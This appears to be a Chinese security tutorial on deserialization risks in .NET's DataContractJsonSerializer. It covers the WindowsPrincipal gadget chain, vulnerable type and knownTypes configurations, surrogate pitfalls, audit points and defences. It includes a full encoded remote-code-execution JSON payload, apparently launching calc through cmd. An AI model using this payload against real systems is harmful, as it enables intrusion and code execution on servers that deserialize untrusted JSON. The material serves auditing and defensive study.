.net反序列化之DataContractJsonSerializer
字数 1099 2025-08-05 08:17:36

.NET反序列化之DataContractJsonSerializer详解

概述

DataContractJsonSerializer是.NET框架中用于对象与JSON相互转换的标准库之一,位于System.Runtime.Serialization.Json命名空间,程序集为System.Runtime.Serialization.Json.dll。它继承自XmlObjectSerializer抽象类,是.NET自带的JSON序列化/反序列化工具之一。

基本用法

序列化与反序列化基础

要使用DataContractJsonSerializer,需要遵循以下规则:

  1. 类必须标记[DataContract]特性
  2. 需要序列化的成员必须标记[DataMember]特性
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Json;

[DataContract]
class Person
{
    [DataMember]
    internal string name;

    [DataMember]
    internal int age;
}

class Program
{
    static void Main(string[] args)
    {
        // 序列化
        var p = new Person { name = "John", age = 42 };
        var memoryStream = new MemoryStream();
        var ser = new DataContractJsonSerializer(typeof(Person));
        ser.WriteObject(memoryStream, p);
        
        memoryStream.Position = 0;
        var sr = new StreamReader(memoryStream);
        Console.WriteLine(sr.ReadToEnd()); // 输出JSON
        
        // 反序列化
        memoryStream.Position = 0;
        Person p1 = (Person)ser.ReadObject(memoryStream);
        Console.WriteLine(p1.name);
    }
}

安全风险与攻击链

WindowsPrincipal攻击链

当满足以下条件时,可能导致远程代码执行(RCE):

  1. Type参数可控
  2. 启用了类型信息输出(EmitTypeInformation.Always)
  3. 攻击者可以控制输入JSON

攻击payload示例:

{
    "__type":"WindowsPrincipal:#System.Security.Principal",
    "m_identity":{
        "System.Security.ClaimsIdentity.actor":"AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQYAAAAmU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LnZlcnNpb24sU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5Lm5hbWVDbGFpbVR5cGUsU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LnJvbGVDbGFpbVR5cGUkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yJVN5c3RlbS5TZWN1cml0eS5DbGFpbXNJZGVudGl0eS5jbGFpbXMLbV91c2VyVG9rZW4BAQEBAQMNU3lzdGVtLkludFB0cgYCAAAAAzEuMAYDAAAAOmh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL25hbWUGBAAAAEBodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL2dyb3Vwc2lkBgUAAACUEkFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBTUFnQUFBRjVOYVdOeWIzTnZablF1VUc5M1pYSlRhR1ZzYkM1RlpHbDBiM0lzSUZabGNuTnBiMjQ5TXk0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMHpNV0ptTXpnMU5tRmtNelkwWlRNMUJBRUFBQUFsVTNsemRHVnRMbE5sWTNWeWFYUjVMa05zWVdsdGN5NURiR0ZwYlhOSlpHVnVkR2wwZVFnQUFBQUpiVjkyWlhKemFXOXVCMjFmWVdOMGIzSVViVjloZFhSb1pXNTBhV05oZEdsdmJsUjVjR1VTYlY5aWIyOTBjM1J5WVhCRGIyNTBaWGgwQjIxZmJHRmlaV3dVYlY5elpYSnBZV3hwZW1Wa1RtRnRaVlI1Y0dVVWJWOXpaWEpwWVd4cGVtVmtVbTlzWlZSNWNHVVNiVjl6WlhKcFlXeHBlbVZrUTJ4aGFXMXpBUU1CQkFFQkFRRWxVM2x6ZEdWdExsTmxZM1Z5YVhSNUxrTnNZV2x0Y3k1RGJHRnBiWE5KWkdWdWRHbDBlVUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQ0FBQUFCZ01BQUFBRE1TNHdDZ29KQkFBQUFBb0dCUUFBQURwb2RIUndPaTh2YzJOb1pXMWhjeTU0Yld4emIyRndMbTl5Wnk5M2N5OHlNREExTHpBMUwybGtaVzUwYVhSNUwyTnNZV2x0Y3k5dVlXMWxCZ1lBQUFBOGFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNjeTh5TURBNEx6QTJMMmxrWlc1MGFYUjVMMk5zWVdsdGN5OXliMnhsQmdjQUFBQ0FBMEZCUlVGQlFVUXZMeTh2TDBGUlFVRkJRVUZCUVVGQlJVRlJRVUZCU1RSQ1ZUTnNlbVJIVm5STWEwNTJZa2Q0YkZrelVuQmlNalY2VEd0a2JHSnRWbmxoVjAxMVZFZHNlbVJIUVhoWE1YUlVaVmhPTUZwWE1IVlZNbFpxWkZoS2NHUklhM1ZSTW5ob1lWY3hla3hyVG5OWlYyeDBURU5DZEdNeVRuWmpiWGh3V1dsM1oxWnRWbmxqTW14Mlltb3dNRXhxUVhWTlF6UjNURU5DUkdSWGVEQmtXRXBzVUZjMWJHUllVbmxaVjNkelNVWkNNVmx0ZUhCWk1IUnNaVlpTZG1FeVZuVlFWMGt6VGpKRk1WbDZWVEpOVkd0NlRrZFZkMDlFYkdSWVVVMUJRVUZCUjFneWJEQmFWekY2UWxZNWVtRlljR3hEUmpreVdsaEtlbUZYT1hWQmQwRkJTR3hPTldNelVteGlVelZVV2xkT01XTnRiREJsVXpWRVlrZEdjR0pZVFhWUk1uaG9ZVmN4WWxoUkwbERTVWxCUVVGQlFVRkJRVUZCUVVGQlFVRmpRMEZCUVVGQlFVVkJRVUZCUVVGQlFVRkJlSGhVWlZoT01GcFhNSFZWTWxacVpGaEtjR1JJYTNWUk1uaG9ZVmN4ZWt4clRuTlpWMngwUTNjOVBRVUVBQUFBUWsxcFkzSnZjMjltZEM1V2FYTjFZV3hUZEhWa2FXOHVWR1Y0ZEM1R2IzSnRZWFIwYVc1bkxsUmxlSFJHYjNKdFlYUjBhVzVuVW5WdVVISnZjR1Z5ZEdsbGN3RUFBQUFQUm05eVpXZHliM1Z1WkVKeWRYTm9BUUlBQUFBR0NBQUFBTE1GUEQ5NGJXd2dkbVZ5YzJsdmJqMGlNUzR3SWlCbGJtTnZaR2x1WnowaWRYUm1MVEUySWo4K0RRbzhUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlJRTFsZEdodlpFNWhiV1U5SWxOMFlYSjBJaUJKYzBsdWFYUnBZV3hNYjJGa1JXNWhZbXhsWkQwaVJtRnNjMlVpSUhodGJHNXpQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQzl3Y21WelpXNTBZWFJwYjI0aUlIaHRiRzV6T25Oa1BTSmpiSEl0Ym1GdFpYTndZV05sT2xONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3p0aGMzTmxiV0pzZVQxVGVYTjBaVzBpSUhodGJHNXpPbmc5SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzSWo0TkNpQWdQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVQWW1wbFkzUkpibk4wWVc1alpUNE5DaUFnSUNBOGMyUTZVSEp2WTJWemN6NE5DaUFnSUNBZ0lEeHpaRHBRY205alpYTnpMbE4wWVhKMFNXNW1iejROQ2lBZ0lDQWdJQ0FnUEhOa09sQnliMk5sYzNOVGRHRnlkRWx1Wm04Z1FYSm5kVzFsYm5SelBTSXZZeUJqWVd4aklpQlRkR0Z1WkdGeVpFVnljbTl5Ulc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVGRHRnVaR0Z5WkU5MWRIQjFkRVZ1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVlhObGNrNWhiV1U5SWlJZ1VHRnpjM2R2Y21ROUludDRPazUxYkd4OUlpQkViMjFoYVc0OUlpSWdURzloWkZWelpYSlFjbTltYVd4bFBTSkdZV3h6WlNJZ1JtbHNaVTVoYldVOUltTnRaQ0lnTHo0TkNpQWdJQ0FnSUR3dmMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ1BDOXpaRHBRY205alpYTnpQZzBLSUNBOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpNVBZbXBsWTNSSmJuTjBZVzVqWlQ0TkNqd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlQZ3M9BgYAAACAA0FBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBSTRCVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGtkbGJtVnlhV011VEdsemRHQXhXMXRUZVhOMFpXMHVVMlZqZFhKcGRIa3VRMnhoYVcxekxrTnNZV2x0TENCdGMyTnZjbXhwWWl3Z1ZtVnljMmx2YmowMExqQXVNQzR3TENCRGRXeDBkWEpsUFc1bGRYUnlZV3dzSUZCMVlteHBZMHRsZVZSdmEyVnVQV0kzTjJFMVl6VTJNVGt6TkdVd09EbGRYUU1BQUFBR1gybDBaVzF6QlY5emFYcGxDRjkyWlhKemFXOXVBd0FBSGxONWMzUmxiUzVUWldOMWNtbDBlUzVEYkdGcGJYTXVRMnhoYVcxYlhRZ0lDUUlBQUFBQUFBQUFBQUFBQUFjQ0FBQUFBQUVBQUFBQUFBQUFBeHhUZVhOMFpXMHVVMlZqZFhKcGRIa3VRMnhoYVcxekxrTnNZV2x0Q3c9PQT5////DVN5c3RlbS5JbnRQdHIBAAAABXZhbHVlAAkgAwAAAAAAAAs="
    }
}

三种利用方式

  1. 直接控制Type参数
var settings = new DataContractJsonSerializerSettings();
settings.EmitTypeInformation = EmitTypeInformation.Always;
var ser = new DataContractJsonSerializer(
    Type.GetType("System.Security.Principal.WindowsPrincipal"), 
    settings
);
  1. 使用KnownType特性
[DataContract]
[KnownType(typeof(WindowsPrincipal))]
class Person
{
    // ...
}
  1. 构造函数传入KnownTypes列表
var ser = new DataContractJsonSerializer(
    typeof(Person), 
    new List<Type> { typeof(WindowsPrincipal) }
);

IDataContractSurrogate接口

作用与原理

IDataContractSurrogate接口用于处理以下场景:

  1. 实体类中引用了未标记DataContract特性的类型
  2. 需要自定义序列化/反序列化过程

实现示例

[DataContract]
public class Person
{
    [DataMember]
    public string Name { get; set; }
    [DataMember]
    public Dog dog; // Dog类未标记DataContract
}

public class Dog
{
    public string Name { get; set; }
}

[DataContract]
class DogSurrogated
{
    [DataMember()]
    public string xmlData;
}

class DogSurrogate : IDataContractSurrogate
{
    public Type GetDataContractType(Type type)
    {
        if (type.IsAssignableFrom(typeof(Dog)))
        {
            return typeof(DogSurrogated);
        }
        return type;
    }

    public object GetDeserializedObject(object obj, Type targetType)
    {
        if (obj is DogSurrogated)
        {
            DogSurrogated ps = (DogSurrogated)obj;
            XmlSerializer xs = new XmlSerializer(typeof(Dog));
            return (Dog)xs.Deserialize(new StringReader(ps.xmlData));
        }
        return obj;
    }

    public object GetObjectToSerialize(object obj, Type targetType)
    {
        if (obj is Dog)
        {
            DogSurrogated ps = new DogSurrogated();
            XmlSerializer xs = new XmlSerializer(typeof(Dog));
            StringWriter sw = new StringWriter();
            xs.Serialize(sw, (Dog)obj);
            ps.xmlData = sw.ToString();
            return ps;
        }
        return obj;
    }

    // 其他方法实现...
}

安全风险

  1. GetDataContractType方法:如果type参数可控,可能引入危险类型
  2. 序列化/反序列化方法:如果使用不安全的序列化器(如BinaryFormatter),可能导致RCE

审计要点

审计DataContractJsonSerializer使用时需要关注:

  1. 构造函数的type参数是否可控
  2. knownTypes列表是否包含危险类型
  3. DataContractJsonSerializerSettings配置:
    • EmitTypeInformation是否设置为Always
  4. 自定义IDataContractSurrogate实现:
    • GetDataContractType方法逻辑
    • 使用的序列化/反序列化方式是否安全

防御建议

  1. 避免反序列化不可信的JSON数据
  2. 严格控制typeknownTypes参数
  3. 谨慎实现IDataContractSurrogate接口
  4. 使用更安全的JSON库如Newtonsoft.JsonSystem.Text.Json
.NET反序列化之DataContractJsonSerializer详解 概述 DataContractJsonSerializer是.NET框架中用于对象与JSON相互转换的标准库之一,位于 System.Runtime.Serialization.Json 命名空间,程序集为 System.Runtime.Serialization.Json.dll 。它继承自 XmlObjectSerializer 抽象类,是.NET自带的JSON序列化/反序列化工具之一。 基本用法 序列化与反序列化基础 要使用DataContractJsonSerializer,需要遵循以下规则: 类必须标记 [DataContract] 特性 需要序列化的成员必须标记 [DataMember] 特性 安全风险与攻击链 WindowsPrincipal攻击链 当满足以下条件时,可能导致远程代码执行(RCE): Type 参数可控 启用了类型信息输出( EmitTypeInformation.Always ) 攻击者可以控制输入JSON 攻击payload示例: 三种利用方式 直接控制Type参数 使用KnownType特性 构造函数传入KnownTypes列表 IDataContractSurrogate接口 作用与原理 IDataContractSurrogate 接口用于处理以下场景: 实体类中引用了未标记 DataContract 特性的类型 需要自定义序列化/反序列化过程 实现示例 安全风险 GetDataContractType方法 :如果type参数可控,可能引入危险类型 序列化/反序列化方法 :如果使用不安全的序列化器(如BinaryFormatter),可能导致RCE 审计要点 审计DataContractJsonSerializer使用时需要关注: 构造函数的 type 参数是否可控 knownTypes 列表是否包含危险类型 DataContractJsonSerializerSettings 配置: EmitTypeInformation 是否设置为 Always 自定义 IDataContractSurrogate 实现: GetDataContractType 方法逻辑 使用的序列化/反序列化方式是否安全 防御建议 避免反序列化不可信的JSON数据 严格控制 type 和 knownTypes 参数 谨慎实现 IDataContractSurrogate 接口 使用更安全的JSON库如 Newtonsoft.Json 或 System.Text.Json